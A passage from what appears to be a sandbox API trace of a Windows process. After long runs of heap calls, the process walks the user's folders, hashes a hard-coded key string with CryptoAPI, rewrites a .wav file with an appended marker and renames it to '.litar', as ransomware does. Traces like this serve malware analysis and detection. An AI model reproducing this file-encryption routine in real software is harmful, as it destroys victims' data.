dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.649] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.649] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.650] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.650] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0125.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0125.651] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0125.651] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.651] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.651] PathFindFileNameW (pszPath="") returned="" [0125.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.651] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.651] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.652] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e68 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.652] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x38) returned 0x306c8e0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.652] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x54) returned 0x3061720 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30840a8 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.652] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0125.652] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.652] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.652] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.652] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084198 [0125.652] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\") returned="eyzvk3aytLrTvd\\" [0125.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0125.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.653] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.653] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.653] PathFindFileNameW (pszPath="") returned="" [0125.653] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.654] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.654] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983a9ea0, ftCreationTime.dwHighDateTime=0x1d4d0ba, ftLastAccessTime.dwLowDateTime=0x65ed4b70, ftLastAccessTime.dwHighDateTime=0x1d4c6fe, ftLastWriteTime.dwLowDateTime=0x65ed4b70, ftLastWriteTime.dwHighDateTime=0x1d4c6fe, nFileSizeHigh=0x0, nFileSizeLow=0xf319, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LL-t.wav", cAlternateFileName="")) returned 1 [0125.654] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\LL-t.wav") returned=".wav" [0125.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\LL-t.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\ll-t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.654] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=62233) returned 1 [0125.654] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.656] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf2f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.656] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.657] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xf319, lpOverlapped=0x0) returned 1 [0125.658] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.658] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.658] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.658] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0125.659] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.659] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.659] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.659] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.659] GetLastError () returned 0x0 [0125.659] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.659] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0125.659] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.659] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xf320) returned 0x30fa0b0 [0125.659] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.660] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xf314, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xf314, lpOverlapped=0x0) returned 1 [0125.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.660] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf319, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.660] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.660] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.660] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.660] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.660] CloseHandle (hObject=0x624) returned 1 [0125.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0125.661] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.661] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0125.661] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\LL-t.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\ll-t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\LL-t.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\ll-t.wav.litar")) returned 1 [0125.662] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.662] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.663] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26edc30, ftCreationTime.dwHighDateTime=0x1d4d4ca, ftLastAccessTime.dwLowDateTime=0x1f26d8e0, ftLastAccessTime.dwHighDateTime=0x1d4ca24, ftLastWriteTime.dwLowDateTime=0x1f26d8e0, ftLastWriteTime.dwHighDateTime=0x1d4ca24, nFileSizeHigh=0x0, nFileSizeLow=0xd74b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PbT_4bgt7AZeNnG57IPC.avi", cAlternateFileName="PBT_4B~1.AVI")) returned 1 [0125.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.663] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.663] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.663] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\PbT_4bgt7AZeNnG57IPC.avi") returned=".avi" [0125.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\PbT_4bgt7AZeNnG57IPC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eyzvk3aytlrtvd\\pbt_4bgt7azenng57ipc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 